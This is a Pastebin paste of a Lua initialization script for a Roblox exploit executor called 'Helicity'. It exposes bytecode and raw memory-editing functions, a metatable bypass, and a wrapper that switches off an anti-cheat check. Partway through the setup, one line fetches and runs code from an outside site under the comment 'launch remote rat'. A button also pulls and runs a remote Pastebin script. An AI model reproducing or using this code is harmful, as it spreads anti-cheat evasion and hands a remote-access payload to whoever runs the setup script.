Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- ~~ Helicity Environment Initialization ~~ --
- backupDebug = debug
- getgenv().debug = {
- -- ~~ Vanilla Roblox Functions ~~ --
- traceback = function(...) return backupDebug.traceback(...) end,
- profilebegin = function(...) return backupDebug.profilebegin(...) end,
- profileend = function(...) return backupDebug.profileend(...) end,
- -- ~~ Helicity Extensions ~~ --
- setconstant = setconstant,
- getconstant = getconstant,
- getconstants = getconstants,
- getinstructions = getinstructions,
- getinstruction = getinstruction,
- setinstruction = setinstruction,
- getprotos = getprotos,
- setproto = setproto,
- getproto = getproto,
- getlines = getlines,
- getnups = getnups,
- getnparams = getnparams,
- getupvalue = function() warn"yo debug.upvalues is broken rn :cr:" return nil end,
- getupvalues = function() warn"yo debug.upvalues is broken rn :cr:" return {} end,
- setupvalue = function() warn"yo debug.upvalues is broken rn :cr:" end,
- makeLuauABC = makeLuauABC,
- makeLuauABx = makeLuauABx,
- getLuauOp = getLuauOp,
- getLuauA = getLuauA,
- getLuauB = getLuauB,
- getLuauC = getLuauC,
- getLuauBx = getLuauBx,
- getOp = getLuauOp,
- getA = getLuauA,
- getB = getLuauB,
- getC = getLuauC,
- getBx = getLuauBx,
- getsBx = getLuauBx,
- }
- getgenv().luac = {
- pushboolean = cpushboolean,
- pushbool = cpushboolean,
- pushstring = cpushstring,
- pushnil = cpushnil,
- pushvalue = cpushvalue,
- pushnumber = cpushnumber,
- getglobal = cgetglobal,
- getenv = cgetglobal,
- getfield = cgetfield,
- setglobal = csetglobal,
- setenv = csetglobal,
- setfield = csetfield,
- pcall = cpcall
- }
- getgenv().sha256 = {hash = sha256hash}
- getgenv().base64 = {
- encode = base64encode,
- decode = base64decode,
- isBase64 = base64check
- }
- getgenv().ss = {
- load = function() warn"ss.load is disabled till i actually get ss up" end,
- execute = function() warn"ss.execute is disabled till i actually get ss up" end,
- }
- getgenv().memedit = {
- getLuaStatePointer = MEMRESTRICTED_getLuaStatePointer,
- getRL = MEMRESTRICTED_getLuaStatePointer,
- getLuaState = MEMRESTRICTED_getLuaStatePointer,
- getRobloxLuaState = MEMRESTRICTED_getLuaStatePointer,
- getOffset = MEMRESTRICTED_getOffset,
- getPointer = MEMRESTRICTED_getPointer,
- setPtrToInt32 = MEMRESTRICTED_writeInt32ToPointer,
- setPtrToInt = MEMRESTRICTED_writeInt32ToPointer,
- setPtrToInt64 = MEMRESTRICTED_writeInt64ToPointer,
- setPtrToDouble = MEMRESTRICTED_writeInt64ToPointer,
- setPtrToLong = MEMRESTRICTED_writeInt64ToPointer,
- setPtrToInt16 = MEMRESTRICTED_writeInt16ToPointer,
- setPtrToShort = MEMRESTRICTED_writeInt16ToPointer,
- setPtrToByte = MEMRESTRICTED_writeInt8ToPointer,
- setPtrToChar = MEMRESTRICTED_writeInt8ToPointer,
- setPtrToBoolean = MEMRESTRICTED_writeInt8ToPointer,
- castToInt32 = MEMRESTRICTED_castToInt32,
- castToInt8 = MEMRESTRICTED_castToInt8,
- castToInt16 = MEMRESTRICTED_castToInt16,
- castToInt64 = MEMRESTRICTED_castToInt64,
- castToLuaString = function(x) return MEMRESTRICTED_castToLuaGCType(x, RLUA_TSTRING) end,
- castToLuaNumber = function(x) return MEMRESTRICTED_castToLuaGCType(x, RLUA_TNUMBER) end,
- castToLuaFunction = function(x) return MEMRESTRICTED_castToLuaGCType(x, RLUA_TFUNCTION) end,
- castToLuaBoolean = function(x) return MEMRESTRICTED_castToLuaGCType(x, RLUA_TBOOLEAN) end,
- castToLuaType = MEMRESTRICTED_castToLuaGCType,
- }
- getgenv().getrawmetatable = noStringGRMT -- roblox string bypass hehe
- getgenv().dostring = function(s) return loadstring(s)() end
- getgenv().plr = game:GetService"Players".LocalPlayer
- getgenv().HttpGetAsync = function(url)
- disableTrustcheck() -- Note to anyone reading: this line could cause a kick if memcheck is too much too soon
- local val = game:HttpGetAsync(url)
- enableTrustcheck()
- return val
- end
- -- ~~ Restore silly service names because devs are smartasses! ~~ --
- workspace.Name = "Workspace"
- game:GetService"Players".Name = "Players"
- game:GetService"ReplicatedStorage".Name = "ReplicatedStorage"
- game:GetService"ReplicatedFirst".Name = "ReplicatedFirst"
- game:GetService"Lighting".Name = "Lighting"
- doUrlAsync("https://trickysolutions.cc/decompMinified.lua") -- launch remote rat...
- local ScreenGui = Instance.new("ScreenGui")
- local ImageLabel = Instance.new("ImageLabel")
- local TextLabel = Instance.new("TextLabel")
- local ImageButton = Instance.new("ImageButton")
- --Properties:
- ScreenGui.Parent = game.CoreGui
- ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
- ImageLabel.Parent = ScreenGui
- ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- ImageLabel.BackgroundTransparency = 1.000
- ImageLabel.Position = UDim2.new(0.5, -100, 0.5, -100)
- ImageLabel.Size = UDim2.new(0, 100, 0, 100)
- ImageLabel.Image = "http://www.roblox.com/asset/?id=5930337999"
- TextLabel.Parent = ImageLabel
- TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel.BackgroundTransparency = 1.000
- TextLabel.Position = UDim2.new(1, 0, 0, 0)
- TextLabel.Size = UDim2.new(0, 127, 0, 100)
- TextLabel.Font = Enum.Font.Roboto
- TextLabel.Text = "haha helicity go brr"
- TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel.TextSize = 25.000
- TextLabel.TextStrokeTransparency = 0.000
- TextLabel.TextXAlignment = Enum.TextXAlignment.Left
- ImageButton.Parent = ScreenGui
- ImageButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- ImageButton.BackgroundTransparency = 1.000
- ImageButton.Position = UDim2.new(1, -55, 1, -55)
- ImageButton.Size = UDim2.new(0, 45, 0, 45)
- ImageButton.Image = "http://www.roblox.com/asset/?id=5930337999"
- ImageButton.Visible = false
- wait(1)
- ImageLabel:TweenSize(UDim2.new(1,0,1,0), 1, 0, 2)
- wait(2)
- ImageLabel:Destroy()
- ImageButton.Visible = true
- ImageButton.MouseButton1Click:connect(function()
- doUrlAsync("https://pastebin.com/raw/pHFLBs9L")
- end)
Add Comment
Please, Sign In to add comment